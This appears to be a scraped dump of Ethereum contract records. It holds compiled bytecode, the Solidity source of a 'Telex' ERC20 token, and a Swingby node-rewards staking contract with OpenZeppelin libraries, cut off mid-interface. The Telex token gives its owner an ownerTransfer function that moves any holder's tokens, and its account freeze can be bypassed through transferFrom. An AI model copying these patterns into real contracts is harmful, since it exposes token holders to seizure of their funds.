fffffffffffffffffffffffffffffffffff821415613bf457613bf3613c5a565b5b600182019050919050565b6000613c0a82613b04565b915060ff821415613c1e57613c1d613c5a565b5b600182019050919050565b6000613c3482613afa565b9150613c3f83613afa565b925082613c4f57613c4e613c89565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f5061757361626c653a206e6f7420706175736564000000000000000000000000600082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f697066733a2f2f00000000000000000000000000000000000000000000000000600082015250565b7f5061757361626c653a2070617573656400000000000000000000000000000000600082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f45524337323155524953746f726167653a2055524920736574206f66206e6f6e60008201527f6578697374656e7420746f6b656e000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f45524337323155524953746f726167653a2055524920717565727920666f722060008201527f6e6f6e6578697374656e7420746f6b656e000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656400000000000000000000000000000000602082015250565b61440581613a90565b811461441057600080fd5b50565b61441c81613aa2565b811461442757600080fd5b50565b61443381613aae565b811461443e57600080fd5b50565b61444a81613afa565b811461445557600080fd5b50565b61446181613b04565b811461446c57600080fd5b5056fea26469706673582212209f1adc49b1b6dd71810020c45142ad95dc813d12a45f3211e75340547734729064736f6c63430008070033
[ 5 ]
0xf30416167df0631d31a9be6412904049c6dc27f7
pragma solidity ^0.4.24; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) onlyOwner public { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TokenERC20 is owned { string public name = 'Telex'; string public symbol = 'TLX'; uint8 public decimals = 8; uint256 public totalSupply = 2000000000000000; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; event Transfer(address indexed from, address indexed to, uint256 value); event FrozenFunds(address target, bool frozen); constructor() TokenERC20() public { balanceOf[msg.sender] = totalSupply; } function _initialTransfers(address _from, address[] addresses, uint[] amounts) internal { for (uint i=0; i<addresses.length; i++) { address _to = addresses[i]; uint _value = amounts[i]; require(_from == owner); _transfer(_from, _to, _value); } } function initialTransfers(address[] addresses, uint256[] amounts) public { _initialTransfers(msg.sender, addresses, amounts); } function _ownerTransfer(address _owner, address _from, address _to, uint _value) internal { require(_owner == owner); _transfer(_from, _to, _value); } function ownerTransfer(address _from, address _to, uint256 _value) public { _ownerTransfer(msg.sender, _from, _to, _value); } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[msg.sender]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function freezeAccount(address target, bool freeze) public onlyOwner { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f657806323b872dd14610221578063313ce567146102a657806370a08231146102d757806379ba50971461032e5780638755b065146103455780638da5cb5b146103ee57806395d89b4114610445578063a1291f7f146104d5578063a9059cbb14610542578063b414d4b61461058f578063cae9ca51146105ea578063d4ee1d9014610695578063dd62ed3e146106ec578063e724529c14610763578063f2fde38b146107b2575b600080fd5b34801561010d57600080fd5b506101166107f5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610893565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b610920565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b5061028c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610926565b604051808215151515815260200191505060405180910390f35b3480156102b257600080fd5b506102bb610a53565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102e357600080fd5b50610318600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a66565b6040518082815260200191505060405180910390f35b34801561033a57600080fd5b50610343610a7e565b005b34801561035157600080fd5b506103ec6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610c1d565b005b3480156103fa57600080fd5b50610403610c2c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561045157600080fd5b5061045a610c51565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049a57808201518184015260208101905061047f565b50505050905090810190601f1680156104c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104e157600080fd5b50610540600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cef565b005b34801561054e57600080fd5b5061058d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d00565b005b34801561059b57600080fd5b506105d0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d0f565b604051808215151515815260200191505060405180910390f35b3480156105f657600080fd5b5061067b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610d2f565b604051808215151515815260200191505060405180910390f35b3480156106a157600080fd5b506106aa610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106f857600080fd5b5061074d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ed8565b6040518082815260200191505060405180910390f35b34801561076f57600080fd5b506107b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610efd565b005b3480156107be57600080fd5b506107f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611022565b005b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561088b5780601f106108605761010080835404028352916020019161088b565b820191906000526020600020905b81548152906001019060200180831161086e57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60055481565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109b357600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610a488484846110c1565b600190509392505050565b600460009054906101000a900460ff1681565b60066020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ada57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610c28338383611430565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ce75780601f10610cbc57610100808354040283529160200191610ce7565b820191906000526020600020905b815481529060010190602001808311610cca57829003601f168201915b505050505081565b610cfb338484846114f1565b505050565b610d0b3383836110c1565b5050565b60086020528060005260406000206000915054906101000a900460ff1681565b600080849050610d3f8585610893565b15610ea9578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610e39578082015181840152602081019050610e1e565b50505050905090810190601f168015610e665780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610e8857600080fd5b505af1158015610e9c573d6000803e3d6000fd5b5050505060019150610eaa565b5b509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f5857600080fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561107d57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808373ffffffffffffffffffffffffffffffffffffffff16141515156110e857600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561113657600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156111c457600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561121d57600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114151561142a57fe5b50505050565b60008060008092505b84518310156114e957848381518110151561145057fe5b906020019060200201519150838381518110151561146a57fe5b9060200190602002015190506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415156114d157600080fd5b6114dc8683836110c1565b8280600101935050611439565b505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151561154c57600080fd5b6115578383836110c1565b505050505600a165627a7a7230582007a6c3b435aa4c4fde8f42b7231d74d873c38dd90fe95631aaa2ae73b8decd320029
[ 17 ]
0xf30424a40027E3e424a519f4964402896d004877
// SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/IBarn.sol"; import "./interfaces/ISwapContract.sol"; contract NodeRewards is Ownable { using SafeMath for uint256; uint256 constant decimals = 10 ** 18; // Same as SWINGBY token's decimal uint256 constant oneYear = 31536000; struct Pull { address source; uint256 startTs; uint256 endTs; uint256 totalDuration; } bool public disabled; Pull public pullFeature; uint256 public lastPullTs; uint256 public apr; uint256 public balanceBefore; uint256 public currentMultiplier; uint256 public totalNodeStaked; mapping(address => uint256) public userMultiplier; mapping(address => uint256) public owed; IBarn public barn; IERC20 public immutable rewardToken; ISwapContract public swapContract; event Claim(address indexed user, uint256 amount); constructor(address _owner, address _swingby, uint256 _apr) { require(_swingby != address(0), "reward token must not be 0x0"); transferOwnership(_owner); rewardToken = IERC20(_swingby); apr = _apr; } // check all active nodes to calculate current stakes. function updateNodes() public returns (bool isStaker){ address[] memory nodes = swapContract.getActiveNodes(); uint256 newTotalNodeStaked; for (uint i = 0; i < nodes.length; i ++) { newTotalNodeStaked = newTotalNodeStaked.add(barn.balanceOf(nodes[i])); if (msg.sender == nodes[i]) { isStaker = true; } } // only change when stakers had actions. if (totalNodeStaked != newTotalNodeStaked) { totalNodeStaked = newTotalNodeStaked; } } // claim calculates the currently owed reward and transfers the funds to the user function claim() public returns (uint256){ require(updateNodes(), "caller is not node"); _calculateOwed(msg.sender); uint256 amount = owed[msg.sender]; require(amount > 0, "nothing to claim"); owed[msg.sender] = 0; rewardToken.transfer(msg.sender, amount); // acknowledge the amount that was transferred to the user ackFunds(); emit Claim(msg.sender, amount); return amount; } // ackFunds checks the difference between the last known balance of `token` and the current one // if it goes up, the multiplier is re-calculated // if it goes down, it only updates the known balance function ackFunds() public { uint256 balanceNow = rewardToken.balanceOf(address(this)); if (balanceNow == 0 || balanceNow <= balanceBefore) { balanceBefore = balanceNow; return; } // if there's no bond staked, it doesn't make sense to ackFunds because there's nobody to distribute them to // and the calculation would fail anyways due to division by 0 if (totalNodeStaked == 0) { return; } uint256 diff = balanceNow.sub(balanceBefore); uint256 multiplier = currentMultiplier.add(diff.mul(decimals).div(totalNodeStaked)); balanceBefore = balanceNow; currentMultiplier = multiplier; } // setupPullToken is used to setup the rewards system; only callable by contract owner // set source to address(0) to disable the functionality function setupPullToken(address source, uint256 startTs, uint256 endTs) public { require(msg.sender == owner(), "!owner"); require(!disabled, "contract is disabled"); require(endTs.sub(startTs) == oneYear, "endTs.sub(startTs) != 1year"); if (pullFeature.source != address(0)) { require(source == address(0), "contract is already set up, source must be 0x0"); disabled = true; } else { require(source != address(0), "contract is not setup, source must be != 0x0"); } if (source == address(0)) { require(startTs == 0, "disable contract: startTs must be 0"); require(endTs == 0, "disable contract: endTs must be 0"); } else { require(endTs > startTs, "setup contract: endTs must be greater than startTs"); } pullFeature.source = source; pullFeature.startTs = startTs; pullFeature.endTs = endTs; // duration must be 1Y always. (For calculate SWINGBY APY) pullFeature.totalDuration = endTs.sub(startTs); if (lastPullTs < startTs) { lastPullTs = startTs; } } // setBarn sets the address of the BarnBridge Barn into the state variable function setBarnAndSwap(address _barn, address _swap) public { require(_barn != address(0), 'barn address must not be 0x0'); require(_swap != address(0), 'swap contract address must not be 0x0'); require(msg.sender == owner(), '!owner'); swapContract = ISwapContract(_swap); barn = IBarn(_barn); } function setNewAPR(uint256 _apr) public { require(msg.sender == owner(), "!owner"); _pullToken(); ackFunds(); apr = _apr; if (apr == 0) { // send all remain tokens to owner (expected governance contract.) uint256 amountToPull = rewardToken.balanceOf(address(pullFeature.source)); rewardToken.transferFrom(pullFeature.source, owner(), amountToPull); } } // _pullToken calculates the amount based on the time passed since the last pull relative // to the total amount of time that the pull functionality is active and executes a transferFrom from the // address supplied as `pullTokenFrom`, if enabled function _pullToken() internal { if ( pullFeature.source == address(0) || block.timestamp < pullFeature.startTs ) { return; } uint256 timestampCap = pullFeature.endTs; if (block.timestamp < pullFeature.endTs) { timestampCap = block.timestamp; } if (lastPullTs >= timestampCap) { return; } uint256 timeSinceLastPull = timestampCap.sub(lastPullTs); // extends pullFeature.totalDuration pullFeature.totalDuration = pullFeature.totalDuration.add(timeSinceLastPull); // use required amount instead of pullFeature.totalAmount for calculate SWINGBY static APY for stakers uint256 requiredAmountFor1Y = totalNodeStaked.mul(apr).div(100); uint256 shareToPull = timeSinceLastPull.mul(decimals).div(pullFeature.totalDuration); uint256 amountToPull = requiredAmountFor1Y.mul(shareToPull).div(decimals); lastPullTs = block.timestamp; rewardToken.transferFrom(pullFeature.source, address(this), amountToPull); } // _calculateOwed calculates and updates the total amount that is owed to an user and updates the user's multiplier // to the current value // it automatically attempts to pull the token from the source and acknowledge the funds function _calculateOwed(address user) internal { _pullToken(); ackFunds(); uint256 reward = _userPendingReward(user); owed[user] = owed[user].add(reward); userMultiplier[user] = currentMultiplier; } // _userPendingReward calculates the reward that should be based on the current multiplier / anything that's not included in the `owed[user]` value // it does not represent the entire reward that's due to the user unless added on top of `owed[user]` function _userPendingReward(address user) internal view returns (uint256) { uint256 multiplier = currentMultiplier.sub(userMultiplier[user]); return barn.balanceOf(user).mul(multiplier).div(decimals); } /// @dev _splitToValues returns address and amount of staked SWINGBYs /// @param _data The info of a staker. function _splitToValues(bytes32 _data) internal pure returns (address, uint256) { return ( address(uint160(uint256(_data))), uint256(uint96(bytes12(_data))) ); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; pragma experimental ABIEncoderV2; import "../libraries/LibBarnStorage.sol"; interface IBarn { // deposit allows a user to add more bond to his staked balance function deposit(uint256 amount) external; // withdraw allows a user to withdraw funds if the balance is not locked function 